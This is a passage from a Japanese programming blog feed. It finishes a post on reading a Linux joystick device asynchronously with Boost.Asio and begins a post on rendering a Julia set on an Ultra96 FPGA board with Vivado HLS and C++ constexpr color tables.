  switch (jse-&gt;type &amp; ~JS_EVENT_INIT) {
    case JS_EVENT_AXIS:
      if (jse-&gt;number &lt; state-&gt;num_axes) {
        state-&gt;axes[jse-&gt;number] = jse-&gt;value;
      }
      break;
    case JS_EVENT_BUTTON:
      if (jse-&gt;number &lt; state-&gt;num_buttons) {
        state-&gt;buttons[jse-&gt;number] = jse-&gt;value;
      }
      break;
  }
}

static void print_joystick_state(struct joystick_state* state) {
  printf(&quot;\r&quot;);
  printf(&quot;axes: &quot;);
  for (uint16_t i = 0; i &lt; (uint16_t)state-&gt;num_axes; ++i) {
    printf(&quot;%6&quot; PRId16 &quot; &quot;, state-&gt;axes[i]);
  }
  printf(&quot;buttons: &quot;);
  for (uint16_t i = 0; i &lt; (uint16_t)state-&gt;num_buttons; ++i) {
    printf(&quot;%&quot; PRId16 &quot; &quot;, state-&gt;buttons[i]);
  }
  fflush(stdout);
}

int main(int argc, char** argv) {
  if (argc != 2) {
    fprintf(stderr, &quot;usage: %s &lt;device&gt;\n&quot;, argv[0]);
    exit(1);
  }

  int joy_fd = open(argv[1], O_RDONLY);
  if (joy_fd &lt; 0) {
    perror_exit(argv[1]);
  }

  struct joystick_state state;
  {
    ioctl(joy_fd, JSIOCGAXES, &amp;state.num_axes);
    ioctl(joy_fd, JSIOCGBUTTONS, &amp;state.num_buttons);
    state.axes    = (int16_t*)calloc(state.num_axes, sizeof(int16_t));
    state.buttons = (int16_t*)calloc(state.num_buttons, sizeof(int16_t));
  }

  int timer_fd = timerfd_create(CLOCK_REALTIME, 0);
  if (timer_fd &lt; 0) {
    perror_exit(&quot;timerfd_create&quot;);
  }

  struct itimerspec nexttime;
  {
    struct timespec now;
    if (clock_gettime(CLOCK_REALTIME, &amp;now) != 0) {
      perror_exit(&quot;clock_gettime&quot;);
    }
    // 1/60 [sec] = 16,666,666 [ns]
    nexttime.it_interval.tv_sec  = 0;
    nexttime.it_interval.tv_nsec = 16666666;
    nexttime.it_value.tv_sec     = nexttime.it_interval.tv_sec + now.tv_sec;
    nexttime.it_value.tv_nsec    = nexttime.it_interval.tv_nsec + now.tv_nsec;
  }

  if (timerfd_settime(timer_fd, TFD_TIMER_ABSTIME, &amp;nexttime, NULL) != 0) {
    perror_exit(&quot;timerfd_settime&quot;);
  }

  print_joystick_state(&amp;state);

  while (1) {
    fd_set rfds;
    FD_ZERO(&amp;rfds);
    FD_SET(joy_fd, &amp;rfds);
    FD_SET(timer_fd, &amp;rfds);

    int maxfd = joy_fd &gt; timer_fd ? joy_fd : timer_fd;

    int ret = select(maxfd + 1, &amp;rfds, NULL, NULL, NULL);
    if (ret &gt; 0) {
      if (FD_ISSET(joy_fd, &amp;rfds)) {
        struct js_event jse;
        ssize_t s = read(joy_fd, &amp;jse, sizeof jse);
        if (s != sizeof jse) {
          perror_exit(&quot;read(joy_fd)&quot;);
        }

        update_joystick_state(&amp;state, &amp;jse);
      }

      if (FD_ISSET(timer_fd, &amp;rfds)) {
        uint64_t t;
        ssize_t s = read(timer_fd, &amp;t, sizeof t);
        if (s != sizeof t) {
          perror_exit(&quot;read(timer_fd)&quot;);
        }

        print_joystick_state(&amp;state);
      }
    } else {
      perror_exit(&quot;select&quot;);
    }
  }
}
```

&lt;p style=&quot;text-align: center;&quot;&gt;&lt;object data=&quot;joy_c.svg&quot; style=&quot;max-width: 100%&quot;&gt;&lt;/object&gt;&lt;/p&gt;

## `posix::stream_descriptor` で Joystick API

先程の例ではタイマーや非同期 IO などが登場していました。そう、Boost.Asio の得意分野です。ということで、同様のプログラムを Boost.Asio で実装してみましょう。

`include` するヘッダは以下の通り。今回は [stackful coroutine](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/overview/core/spawn.html) を使いたいので、`&lt;boost/asio/spawn.hpp&gt;` も `include` します。Boost.Asio の coroutine には boost 1.62.0 で deplicated になった Boost.Coroutine が使われていて警告メッセージが出るので、静かにしてもらうために `BOOST_COROUTINES_NO_DEPRECATION_WARNING` を `define` しています。C のヘッダは `extern &quot;C&quot;` で囲んでやりましょう。

```cpp
#include &lt;chrono&gt;
#include &lt;cinttypes&gt;
#include &lt;cstdint&gt;
#include &lt;cstdlib&gt;
#include &lt;iostream&gt;
#include &lt;vector&gt;

#define BOOST_COROUTINES_NO_DEPRECATION_WARNING
#include &lt;boost/asio.hpp&gt;
#include &lt;boost/asio/spawn.hpp&gt;

extern &quot;C&quot; {
#include &lt;fcntl.h&gt;
#include &lt;linux/joystick.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;unistd.h&gt;
}
```

Joystick と `posix::stream_descriptor` の初期化周りのコードがこんな感じ。最初に示したコードでは、`posix::stream_descriptor` のコンストラクタにファイルディスクリプタを渡していましたが、`io_context` のみを渡して初期化した後、メンバ関数 [`posix::stream_descriptor::assign`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/posix__stream_descriptor/assign.html) でファイルディスクリプタを割り当てることもできます。

```cpp
struct joystick_state {
  std::uint8_t num_axes;
  std::uint8_t num_buttons;
  std::vector&lt;std::int16_t&gt; axes;
  std::vector&lt;std::int16_t&gt; buttons;
};

// ...

boost::asio::io_context ctx{};

boost::asio::posix::stream_descriptor joystick{ctx};
joystick_state state{};
{
  const int fd = ::open(argv[1], O_RDONLY);
  if (fd &lt; 0) {
    std::cerr &lt;&lt; argv[1] &lt;&lt; &quot;: &quot; &lt;&lt; std::strerror(errno) &lt;&lt; std::endl;
    std::exit(1);
  }

  ::ioctl(fd, JSIOCGAXES, &amp;state.num_axes);
  state.axes.resize(state.num_axes);

  ::ioctl(fd, JSIOCGBUTTONS, &amp;state.num_buttons);
  state.buttons.resize(state.num_buttons);

  joystick.assign(fd);
}
```

上に書いたように、今回は stackful coroutine を使って非同期処理を書いていきます。[`spawn`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/spawn.html) を使って、一定時間毎 (1/60 [s]) に状態を表示するものと、Joystick のイベント監視 &amp; 内部状態更新をするものの2つの coroutine を起動します。`spawn` の第1引数には `io_context` を直接渡すこともできますが、[`io_context::strand`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/io_context__strand.html) を渡しています。今回のように `io_context` をシングルスレッドで利用している場合はあまり意味がありませんが、`io_context::strand` は登録されたハンドラを直列に (同時に実行されることなく) 実行するためのものです。

```cpp
boost::asio::io_context::strand strand{ctx};

boost::asio::steady_timer timer{ctx};
boost::asio::spawn(strand, [&amp;state, &amp;timer](auto&amp;&amp; yield) {
  // 一定時間毎 (1/60 [s]) に状態を表示する
});

boost::asio::spawn(strand, [&amp;joystick, &amp;state](auto&amp;&amp; yield) {
  // Joystick のイベント監視 &amp; 内部状態更新をする
});

ctx.run();
```

一定時間毎 (1/60 [s]) に状態を表示する処理をしている coroutine の実装がこんな感じです。タイマーには [`steady_timer`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/steady_timer.html) を用いました。`timer` にあらかじめ次の発火時刻をセットしてから状態を表示し、その後次の発火まで待つ、を繰り返しているイメージです。

```cpp
using namespace std::chrono_literals;

// ...

boost::asio::steady_timer timer{ctx};
boost::asio::spawn(strand, [&amp;state, &amp;timer](auto&amp;&amp; yield) {
  for (;;) {
    timer.expires_after(16&apos;666&apos;666ns);

    std::printf(&quot;\r&quot;);
    std::printf(&quot;axes: &quot;);
    for (auto&amp;&amp; v : state.axes) {
      std::printf(&quot;%6&quot; PRId16 &quot; &quot;, v);
    }
    std::printf(&quot;buttons: &quot;);
    for (auto&amp;&amp; v : state.buttons) {
      std::printf(&quot;%&quot; PRId16 &quot; &quot;, v);
    }
    std::fflush(stdout);

    timer.async_wait(yield);
  }
});
```

続いて Joystick のイベント監視 &amp; 内部状態更新をするほうの coroutine の実装がこんな感じです。`joystick` からの読み込みを [`async_read`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/async_read/overload1.html) で行います。今回は読み込む量が決まっているので、[`streambuf`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/streambuf.html) は使わず、[`buffer`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/buffer/overload5.html) を使って `js_event` に直接読み込みます。`async_read` で読み込む量の指定は第3引数に [`CompletionCondition`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/async_read.html) を取る overload に [`transfer_exactly`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/transfer_exactly.html) を渡すなどでも可能ですが、以下の実装で `async_read` の処理が完了する条件はドキュメントにあるとおり与えたバッファが一杯になる、またはエラーが発生したときとあるので、これで問題ないでしょう。

```cpp
boost::asio::spawn(strand, [&amp;joystick, &amp;state](auto&amp;&amp; yield) {
  for (;;) {
    ::js_event jse{};
    boost::system::error_code error{};

    boost::asio::async_read(joystick, boost::asio::buffer(&amp;jse, sizeof jse), yield[error]);

    if (error == boost::asio::error::eof) {
      joystick.get_io_service().stop();
      break;
    } else if (error) {
      std::cerr &lt;&lt; &quot;\nerror: &quot; &lt;&lt; error.message() &lt;&lt; std::endl;
      std::exit(1);
    }

    switch (jse.type &amp; ~JS_EVENT_INIT) {
      case JS_EVENT_AXIS:
        if (jse.number &lt; state.num_axes) {
          state.axes.at(jse.number) = jse.value;
        }
        break;
      case JS_EVENT_BUTTON:
        if (jse.number &lt; state.num_buttons) {
          state.buttons.at(jse.number) = jse.value;
        }
        break;
    }
  }
});
```

これで必要な実装は完了です。ソースコード全体がこんな感じになります。

```cpp
#include &lt;chrono&gt;
#include &lt;cinttypes&gt;
#include &lt;cstdint&gt;
#include &lt;cstdlib&gt;
#include &lt;iostream&gt;
#include &lt;vector&gt;

#define BOOST_COROUTINES_NO_DEPRECATION_WARNING
#include &lt;boost/asio.hpp&gt;
#include &lt;boost/asio/spawn.hpp&gt;

extern &quot;C&quot; {
#include &lt;fcntl.h&gt;
#include &lt;linux/joystick.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;unistd.h&gt;
}

using namespace std::chrono_literals;

struct joystick_state {
  std::uint8_t num_axes;
  std::uint8_t num_buttons;
  std::vector&lt;std::int16_t&gt; axes;
  std::vector&lt;std::int16_t&gt; buttons;
};

auto main(int argc, char** argv) -&gt; int {
  if (argc != 2) {
    std::cerr &lt;&lt; &quot;usage: &quot; &lt;&lt; argv[0] &lt;&lt; &quot; &lt;device&gt;&quot; &lt;&lt; std::endl;
    std::exit(1);
  }

  boost::asio::io_context ctx{};
  boost::asio::io_context::strand strand{ctx};

  boost::asio::posix::stream_descriptor joystick{ctx};
  joystick_state state{};
  {
    const int fd = ::open(argv[1], O_RDONLY);
    if (fd &lt; 0) {
      std::cerr &lt;&lt; argv[1] &lt;&lt; &quot;: &quot; &lt;&lt; std::strerror(errno) &lt;&lt; std::endl;
      std::exit(1);
    }

    ::ioctl(fd, JSIOCGAXES, &amp;state.num_axes);
    state.axes.resize(state.num_axes);

    ::ioctl(fd, JSIOCGBUTTONS, &amp;state.num_buttons);
    state.buttons.resize(state.num_buttons);

    joystick.assign(fd);
  }

  boost::asio::steady_timer timer{ctx};
  boost::asio::spawn(strand, [&amp;state, &amp;timer](auto&amp;&amp; yield) {
    for (;;) {
      timer.expires_after(16&apos;666&apos;666ns);

      std::printf(&quot;\r&quot;);
      std::printf(&quot;axes: &quot;);
      for (auto&amp;&amp; v : state.axes) {
        std::printf(&quot;%6&quot; PRId16 &quot; &quot;, v);
      }
      std::printf(&quot;buttons: &quot;);
      for (auto&amp;&amp; v : state.buttons) {
        std::printf(&quot;%&quot; PRId16 &quot; &quot;, v);
      }
      std::fflush(stdout);

      timer.async_wait(yield);
    }
  });

  boost::asio::spawn(strand, [&amp;joystick, &amp;state](auto&amp;&amp; yield) {
    for (;;) {
      ::js_event jse{};
      boost::system::error_code error{};

      boost::asio::async_read(joystick, boost::asio::buffer(&amp;jse, sizeof jse), yield[error]);

      if (error == boost::asio::error::eof) {
        joystick.get_io_service().stop();
        break;
      } else if (error) {
        std::cerr &lt;&lt; &quot;\nerror: &quot; &lt;&lt; error.message() &lt;&lt; std::endl;
        std::exit(1);
      }

      switch (jse.type &amp; ~JS_EVENT_INIT) {
        case JS_EVENT_AXIS:
          if (jse.number &lt; state.num_axes) {
            state.axes.at(jse.number) = jse.value;
          }
          break;
        case JS_EVENT_BUTTON:
          if (jse.number &lt; state.num_buttons) {
            state.buttons.at(jse.number) = jse.value;
          }
          break;
      }
    }
  });

  ctx.run();
}
```

実行してみるとこんな感じ。`boost_coroutine` や `boost_system`、`pthread` ライブラリをリンクする必要があります。

&lt;p style=&quot;text-align: center;&quot;&gt;&lt;object data=&quot;joy.svg&quot; style=&quot;max-width: 100%&quot;&gt;&lt;/object&gt;&lt;/p&gt;

## まとめ

Boost.Asio の `posix::stream_descriptor` を使って、Linux マシンに接続したデバイスを非同期に扱う方法を紹介しました。小規模なプログラムではわざわざ C++ で Boost.Asio を使って書く必要は無いかもしれませんが、扱うデバイスが増えたり、ネットワークやシリアル通信など Boost.Asio で扱える他の要素と組み合わせるような場合には、かなり便利なんじゃないかなぁと思います。</content:encoded></item><item><title>Ultra96 で Julia set をぐりぐり動かせるやつを作った</title><link>https://myon.info/blog/2019/05/15/ultra96-julia-set-explorer/</link><guid isPermaLink="true">https://myon.info/blog/2019/05/15/ultra96-julia-set-explorer/</guid><pubDate>Wed, 15 May 2019 00:00:00 GMT</pubDate><content:encoded>import { Image } from &apos;astro:assets&apos;;
import dmabufSvg from &apos;./dmabuf.svg&apos;;
import nodmabufSvg from &apos;./nodmabuf.svg&apos;;

[Ultra96](https://www.96boards.org/product/ultra96/) というデバイスがあります。Ultra96 は Xilinx 社の [Zynq UltraScale+ MPSoC](https://www.xilinx.com/products/silicon-devices/soc/zynq-ultrascale-mpsoc.html) が載っている開発ボードで、[FPGA](https://en.wikipedia.org/wiki/Field-programmable_gate_array) 開発から最新の ARM 開発、Linux カーネルやそのデバイスドライバ開発なんかも学べて、しかも$249で入手できるというコスパの高い[^1]デバイスです。

[^1]: 学生が一度にポンと出すにはちょっと大変な価格かな... ラボのボスに頼んでみよう ヾ(๑╹◡╹)ﾉ&quot;

今回いろいろあって Ultra96 で遊べる環境ができたので、Julia set を表示してぐりぐり動かせるやつを作ってみました。こんな感じです。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;当初の目標だった「Ultra96 に直接接続したゲームパッドでぐりぐり動かす」ができた ヾ(๑&amp;gt;◡&amp;lt;)ﾉ&amp;quot; &lt;a href=&quot;https://t.co/AMDp3hPPnz&quot;&gt;pic.twitter.com/AMDp3hPPnz&lt;/a&gt;&lt;/p&gt;&amp;mdash; +。:.ﾟ٩(๑＞◡＜๑)۶:.｡+ﾟ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1112762085799157763?ref_src=twsrc%5Etfw&quot;&gt;April 1, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

関連するソースコードはほぼ全て [GitHub のリポジトリ](https://github.com/Tosainu/ultra96-fractal) に公開してあります。

まだ当初予定していた機能を実装しきれていなかったりしますが、とりあえずシステム全体とその開発方法などを紹介していきたいと思います。

## Julia set

[Julia set](https://en.wikipedia.org/wiki/Julia_set) は[フラクタル](https://en.wikipedia.org/wiki/Fractal)として知られる図形の1つです。同様の図形だと [Mandelbrot set](https://en.wikipedia.org/wiki/Mandelbrot_set) のほうが有名かもしれませんが、個人的にはこっちのほうが好きです。

Julia set は、ある複素数の多項式関数 $f_c(z)$ に初期値 $z_0$ を与えて繰り返し適用したときに、収束する領域と発散する領域の境界になるような $z_0$ の集合のことらしいです。そして Julia set の描画は、画像の各ピクセルの座標値から $z_0$ を決めて、その値を $f_c(z)$ に与えて繰り返し適用したときの動きをもとに色を割り当てることで行います。

...といってもイメージしにくいので、有名な $f_c(z)$ である
$$
f_c(z) = z^2 + c
$$
を Rust で描いてみます。コードは [image crate の Example](https://github.com/image-rs/image#62-generating-fractals) で紹介されているものをベースにしました。

```rust
fn main() {
    // 画像のサイズ
    let (imgx, imgy) = (960, 600);
    // 最大反復回数
    let max_iter = 255;

    let x0 = 1.0;
    let y0 = imgy as f32 / imgx as f32;
    let dx = 2.0 * x0 / imgx as f32;
    let dy = 2.0 * y0 / imgy as f32;

    let mut imgbuf = image::ImageBuffer::new(imgx, imgy);

    for (x, y, pixel) in imgbuf.enumerate_pixels_mut() {
        // 定数 c
        let c = num_complex::Complex::new(-0.4, 0.6);

        // 初期値 z_0
        let cx = -x0 + dx * x as f32;
        let cy = -y0 + dy * y as f32;
        let z_0 = num_complex::Complex::new(cx, cy);

        // z_{i + 1} = z^2 + c を計算
        // |z| &gt; 2.0 になったら &quot;発散した&quot; とする
        let mut z = z_0;
        let mut i = 0;
        while i &lt; max_iter &amp;&amp; z.norm() &lt;= 2.0 {
            z = z * z + c;
            i += 1;
        }

        // 反復回数 i をベースに色つけ
        *pixel = colorize(i as f32 / max_iter as f32);
    }

    imgbuf.save(&quot;fractal.png&quot;).unwrap();
}

fn colorize(t: f32) -&gt; image::Rgb&lt;u8&gt; {
    let m = std::u8::MAX as f32;
    let r = m * 9.0 * (1.0 - t) * t * t * t;
    let g = m * 15.0 * (1.0 - t) * (1.0 - t) * t * t;
    let b = m * 8.5 * (1.0 - t) * (1.0 - t) * (1.0 - t) * t;
    image::Rgb([r as u8, g as u8, b as u8])
}
```

これを実行するとこんな感じの画像が出力されます。

![](./fractal_example.png)

## FPGA で Julia set を描画する

前述したコードからもわかるように、Julia set の描画はそこそこの計算量があります。これをいかに速く計算するかは長く研究されているようで、いろいろなアプローチが見つかります。今回は Zynq UltraScale+ MPSoC のプログラマブルな回路側 (Programmable Logic, PL) に **Julia set の描画専用の回路を構築**することで高速に描画することを試みてみました。

### 高位合成 (High-level synthesis, HLS)

FPGA 開発というと、VHDL や Verilog HDL といった [Hardware description language (HDL)](https://en.wikipedia.org/wiki/Hardware_description_language) によって [Register-transfer level (RTL)](https://en.wikipedia.org/wiki/Register-transfer_level) の記述をするイメージが強いかもしれません。FPGA 開発全体でみればそのような言語を使った開発が一般的なのでしょうが、近年[高位合成 (High-level synthesis, HLS)](https://en.wikipedia.org/wiki/High-level_synthesis) と呼ばれる技術がある程度の実用レベルになりつつあり、これを利用した開発手法が話題になっています。

HLS は RTL より抽象度の高い言語によってハードウェアの設計を可能にする技術です。HLS にも様々な種類があるので一概にはいえませんが、この抽象度の高い言語とは C や Java のようなソフトウェア開発のためのプログラミング言語を指します。プログラミング言語で記述したアルゴリズムがどのようにハードウェア化されるかは[このへん](https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_3/ug902-vivado-high-level-synthesis.pdf#page=6)が参考になると思います。ソフトウェア向けのプログラミング言語を用いた記述を入力とする HLS はソフトウェアで実装されたアルゴリズムのハードウェア化をある程度容易にしたことから、特にハードウェアアクセラレータ実装をしている界隈などで注目されているなかなかホットな技術といってよいでしょう。

今回 Julia set を描画する回路を設計するにあたり、Xilinx 社が提供している HLS の開発環境である [Vivado HLS](https://www.xilinx.com/products/design-tools/vivado/integration/esl-design.html) を利用することにしました。理由としては、とりあえず動作するものを短期間で実装したかったのと、個人的に別の HLS 開発環境に触れていた経験があることから Xilinx の HLS についても調査したいという思いがあったためです。

### Vivado HLS で Julia set 描画回路を実装する

Vivado HLS は入力言語に C、C++、SystemC をサポートしています。今回は C++ で実装しました。最終的なソースコードは[これ](https://github.com/Tosainu/ultra96-fractal/tree/1ed4e5e409d6445a85741149c112322cc6fc251c/hls_ip/fractal)です。

Vivado HLS は思っていた以上に強かったようで、とりあえず適当に実装してみた Julia set のコードも普通に合成できてしまい驚きました。このため「アルゴリズムを FPGA に持っていく」点に関してはほとんど苦労することなく行うことができたと言って良いです。Vivado HLS すごい。ちなみにコミットログをたどったところ、開発初期のコードは[こんな感じ](https://github.com/Tosainu/ultra96-fractal/blob/9aeb006057254d9e9d859b307b64db8e86adc5ef/hls_ip/fractal/fractal.cc)だったようです。
```cpp
#include &lt;cmath&gt;
#include &lt;complex&gt;

#include &quot;fractal.h&quot;

uint24_type colorize(fix64_type t) {
  // https://solarianprogrammer.com/2013/02/28/mandelbrot-set-cpp-11/
  const fix64_type one{1.0};
  const fix64_type r = fix64_type{8.5} * (one - t) * (one - t) * (one - t) * t;
  const fix64_type g = fix64_type{15.0} * (one - t) * (one - t) * t * t;
  const fix64_type b = fix64_type{9.0} * (one - t) * t * t * t;

  uint24_type rgb = 0;
  rgb |= static_cast&lt;uint24_type&gt;(std::min(r, one) * fix64_type{255.0});
  rgb |= static_cast&lt;uint24_type&gt;(std::min(g, one) * fix64_type{255.0}) &lt;&lt; 8;
  rgb |= static_cast&lt;uint24_type&gt;(std::min(b, one) * fix64_type{255.0}) &lt;&lt; 16;
  return rgb;
}

void fractal(stream_type&amp; m_axis) {
#pragma HLS INTERFACE axis register both port=m_axis
#pragma HLS INTERFACE s_axilite port=return

  const auto x1 = fix64_type{1.0};
  const auto y1 = fix64_type{MAX_HEIGHT} / fix64_type{MAX_WIDTH};
  const auto dx = fix64_type{2.0} * x1 / fix64_type{MAX_WIDTH};
  const auto dy = fix64_type{2.0} * y1 / fix64_type{MAX_HEIGHT};

  const auto offset_x = fix64_type{0};
  const auto offset_y = fix64_type{0};

  video_type video;

  for (std::uint32_t y = 0; y &lt; MAX_HEIGHT; y++) {
    for (std::uint32_t x = 0; x &lt; MAX_WIDTH; x++) {
      // Set Start-of-Frame (tuser) and End-of-Line (tlast) singale
      // https://forums.xilinx.com/t5/Video/Video-Beginner-Series-14-Creating-a-Pattern-Generator-using-HLS/m-p/895489/highlight/true#M21986
      if (x == 0 &amp;&amp; y == 0) {
        video.user = 1;
      } else {
        video.user = 0;
      }
      if (x == MAX_WIDTH - 1) {
        video.last = 1;
      } else {
        video.last = 0;
      }

      const auto cx = -x1 + dx * x + offset_x;
      const auto cy = -y1 + dy * y + offset_y;

      auto z       = std::complex&lt;fix64_type&gt;{cx, cy};
      const auto c = std::complex&lt;fix64_type&gt;{-0.4, 0.6};

      std::uint32_t i = 0;
      while (i &lt; MAX_ITERATIONS &amp;&amp; z.real() * z.real() + z.imag() * z.imag() &lt;= 4.0) {
        z = z * z + c;
        i++;
      }

      video.data = colorize(static_cast&lt;fix64_type&gt;(i) / fix64_type{255.0});

      m_axis &lt;&lt; video;
    }
  }
}
```

もちろんこのままでは実用にならないほど性能が出ないためチューニングをする必要があります。今回はパイプライン化や並列化、固定小数点数の採用やループの反復回数の固定化など様々なチューニングを行いました。そのなかでも少し変わった例として、色つけ処理部分 (前述した Rust や C++ コード中の `colorize` 関数) に適用した手法を紹介しようと思います。

色つけ処理は反復回数 [0, 255] に RGB の色を割り当てるものです。RGB の各チャンネルの値は、反復回数 $i$ を最大反復回数 255 で割った [0, 1.0] の値 $t$ を次の3つの関数に渡すことで求めています。
$$
\begin{aligned}
    r(t) &amp;= 9 (1 - t) t^3 \\
    g(t) &amp;= 15 (1 - t)^2 t^2 \\
    b(t) &amp;= 8.5 (1 - t)^3 t
\end{aligned}
$$
![](./color.svg)

この関数は見ての通り乗算が多く、そのまま FPGA に落とせば計算に必要なクロックサイクル数は増えるし貴重な FPGA のリソースを大量に消費するしでなにもいいことがありません。今回これらの関数に与えられうる値は $\cfrac{0}{255}, \cfrac{1}{255}, \cfrac{2}{255}, \dots, \cfrac{255}{255}$ と決まっているので定数化が可能ですが、流石に手作業で 256 個の値を計算しハードコーディングするのは面倒だしメンテナンス性も下がって最悪です。

そこで、Vivado HLS で C++11 の機能がある程度利用可能[^3]なことを活用 (悪用？) し、**`constexpr` を使った色変換テーブルのコンパイル時計算**をやってみました。

[^3]: プロジェクト設定で `CFLAGS` に `-std=c++11` を設定する。ベースとなっているコンパイラもあまり新しいものではないようなので、`-std=c++17`、`-std=c++14`、`-std=c++1y` とかはもちろんダメだったし、C++11 の機能にも未対応なものがいくつかあったりする。C/RTL co-simulation が動作しなくなる副作用もある

まず `colorize` 関数を `constexpr` 化します。C++11 なので `constexpr` な関数の中身が `return` 文1つしか書けない点や `constexpr` な [`std::min`](https://en.cppreference.com/w/cpp/algorithm/min) などがないことに注意します。
```cpp
namespace detail {

template &lt;class T&gt;
constexpr T constexpr_min(T a, T b) {
  return a &lt; b ? a : b;
}

constexpr std::uint32_t f2i(double d) {
  return static_cast&lt;std::uint32_t&gt;(constexpr_min(d, 1.0) * 255.0);
}

constexpr std::uint32_t colorize(double t) {
  return (f2i(9.0 * (1.0 - t) * t * t * t) &lt;&lt; 16) |                // red
         (f2i(8.5 * (1.0 - t) * (1.0 - t) * (1.0 - t) * t) &lt;&lt; 8) | // blue
         (f2i(15.0 * (1.0 - t) * (1.0 - t) * t * t));              // green
}

constexpr std::uint32_t index2color(std::size_t i) {
  return colorize(static_cast&lt;double&gt;(i) / 255.0);
}

} // namespace detail
```

続いて反復回数から RGB 値を求める色変換テーブルを構築する部分を書いていきます。こんな感じのコードで各要素が `index2color(index)` となる配列 `color_table` をコンパイル時に構築できるようにするのが目標です。
```cpp
constexpr std::array&lt;std::uint32_t, 256&gt; make_color_table() {
  return detail::make_array&lt;256&gt;(detail::index2color);
}

static constexpr auto color_table = make_color_table();
```

`detail::make_array&lt;N&gt;` を実装するのに [std::make_integer_sequence](https://en.cppreference.com/w/cpp/utility/integer_sequence) があると便利なのですが、C++11 の標準ライブラリには入っていないので、まずそれ相当のものを自分で実装します。
```cpp
namespace detail {

template &lt;std::size_t... Values&gt;
struct index_sequence {};

template &lt;std::size_t N, std::size_t... Values&gt;
struct index_sequence_impl : index_sequence_impl&lt;N - 1, N - 1, Values...&gt; {};

template &lt;std::size_t... Values&gt;
struct index_sequence_impl&lt;0, Values...&gt; {
  using type = index_sequence&lt;Values...&gt;;
};

template &lt;std::size_t N&gt;
using make_index_sequence = typename index_sequence_impl&lt;N&gt;::type;

} // namespace detail
```
この `make_index_sequence&lt;N&gt;` は `index_sequence&lt;0, 1, 2, ..., N - 1&gt;` を作るためのもので、コンパイル時に `0` ~ `N - 1` の数値が欲しいときに使います。
```cpp
template &lt;std::size_t... Indeces&gt;
constexpr auto foo_impl(index_sequence&lt;Indeces...&gt;) {
  // Indeces... が 0, 1, 2, ..., N - 1 になる
  return std::make_tuple(Indeces...);
}

template &lt;std::size_t N&gt;
constexpr auto foo() {
  return foo_impl(make_index_sequence&lt;N&gt;{});
}

foo&lt;4&gt;(); // =&gt; std::tuple&lt;std::size_t&gt;{0, 1, 2, 3};
```

これを使うと `detail::make_array` をこんな感じに実装できます。C++11 には[関数の返り値の型推論](https://en.cppreference.com/w/cpp/language/function#Return_type_deduction)もないのでそれっぽい返り値の型も書いてやる必要があります。
```cpp
namespace detail {

template &lt;class Function, std::size_t... Indeces&gt;
constexpr auto make_array_impl(Function f, index_sequence&lt;Indeces...&gt;)
    -&gt; std::array&lt;typename std::result_of&lt;Function(std::size_t)&gt;::type, sizeof...(Indeces)&gt; {
  return {{f(Indeces)...}};
}

template &lt;std::size_t N, class Function&gt;
constexpr auto make_array(Function f)
    -&gt; std::array&lt;typename std::result_of&lt;Function(std::size_t)&gt;::type, N&gt; {
  return make_array_impl(f, make_index_sequence&lt;N&gt;{});
}

} // namespace detail
```

これらをまとめたソースコードが[こちら](https://github.com/Tosainu/ultra96-fractal/blob/1ed4e5e409d6445a85741149c112322cc6fc251c/hls_ip/fractal/color_table.h)です。C++11 のためコードは長くなったものの、カラーパレットの変更は `constexpr` 化された `colorize` 関数を変更するだけでテーブル構築はコンパイラが勝手にやってくれるようになりましたし、構築された色変換テーブルはただの配列なので、その要素を参照する処理は FPGA デザイン上で ROM から値を1つ読むだけの軽い処理に展開されたりと、とても効果のあったチューニングでした。**C++ メタプロは FPGA 開発にも役立ちます！**[^4]

[^4]: ネタ性が高いだけで実際あんまり嬉しくない

チューニングの結果、実装した回路は 1920px x 1080px の Julia set を 約 6 fps で描画できるようになりました。ただ僕の Vivado HLS 力が足りず、当初計画していた「ぼくの考えたさいきょうの Julia set レンダリングパイプライン」になっていないので、また時間があればより高速な実装に挑戦してみたいと思っています。

### ブロックデザイン

ここまでで Julia set を描画するための回路の設計ができました。しかし、実際に動作させるためには様々な周辺回路が必要です。特に今回は Zynq UltraScale+ MPSoC のプロセッサ側 (Processing System, PS) も利用したいので、実装した Julia set 描画回路を PS から制御できるようにしたり、描画した Julia set の画像を PS から取得できるようにする必要があります。今回は Xilinx 社が提供する設計ツールである [Vivado](https://www.xilinx.com/products/design-tools/vivado.html) の IP Integrator を使ってシステム全体 (Julia set 描画回路とその周辺回路) の設計を行いました。

IP は Intellectual Property の略で、再利用可能な回路デザインのことを指します。ソフトウェア開発で例えるならライブラリのようなものでしょうか。そして最近の FPGA 開発ツールは様々な IP を GUI 上で配置・接続することで目的のシステムを開発する機能を搭載しているものがあり、Vivado では IP Integrator がそれに当たります。IP Integrator で作成したデザインはブロックデザインと呼ばれています。

今回作成した Julia set explorer のブロックデザインは次のようになっています。表示されているものは簡略化されたもので、クリックすると Vivado から直接出力した詳細なものが表示されます。
[![](./bd_simple.png)](bd.pdf)

